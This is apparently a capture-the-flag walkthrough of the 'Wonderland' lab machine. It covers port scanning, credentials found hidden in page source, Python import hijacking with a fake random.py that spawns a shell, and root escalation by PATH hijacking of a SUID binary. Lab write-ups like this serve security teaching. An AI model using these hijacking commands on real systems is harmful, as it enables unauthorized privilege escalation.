1. Enumeration
nmap -sV -sC -T4 <TARGET_IP>
2. Web Enumeration
The site hints to follow the white rabbit. Manually navigated the directory structure — the path was literally spelled out:
http://<TARGET_IP>/r/ http://<TARGET_IP>/r/a/ http://<TARGET_IP>/r/a/b/ http://<TARGET_IP>/r/a/b/b/ http://<TARGET_IP>/r/a/b/b/i/ http://<TARGET_IP>/r/a/b/b/i/t/
Viewed the page source at /r/a/b/b/i/t/. Found SSH credentials hidden in a comment:
<p style="display: none;">alice:<password></p>
3. Initial Access: Alice
ssh alice@<TARGET_IP>
Landed in Alice's home directory. Found walrus_and_the_carpenter.py and root.txt. Root flag is in Alice's directory but unreadable. User flag is in /root/. Classic Wonderland twist.
4. Lateral Movement: rabbit User
Checked sudo permissions for alice:
sudo -l
Alice can run walrus_and_the_carpenter.py as rabbit with sudo. The script imports the random library. Created a fake random.py in the current directory to hijack the import.
# Create fake random.py in /home/alice/
echo 'import os; os.system("/bin/bash")' > random.py
sudo -u rabbit /usr/bin/python3 /home/alice/walrus_and_the_carpenter.py
Found a SUID binary in rabbit's home: teaParty
ls -la /home/rabbit/teaParty strings /home/rabbit/teaParty
Strings output revealed it calls date without a full path — vulnerable to PATH hijacking.
5. PrivEsc: PATH Hijacking
The teaParty binary is SUID root and calls date without an absolute path. Created a fake date binary and prepended the directory to PATH.
# Create malicious date binary cd /tmp echo '/bin/bash' > date chmod +x date # Prepend /tmp to PATH export PATH=/tmp:$PATH # Run the SUID binary /home/rabbit/teaParty
strings on unknown binaries.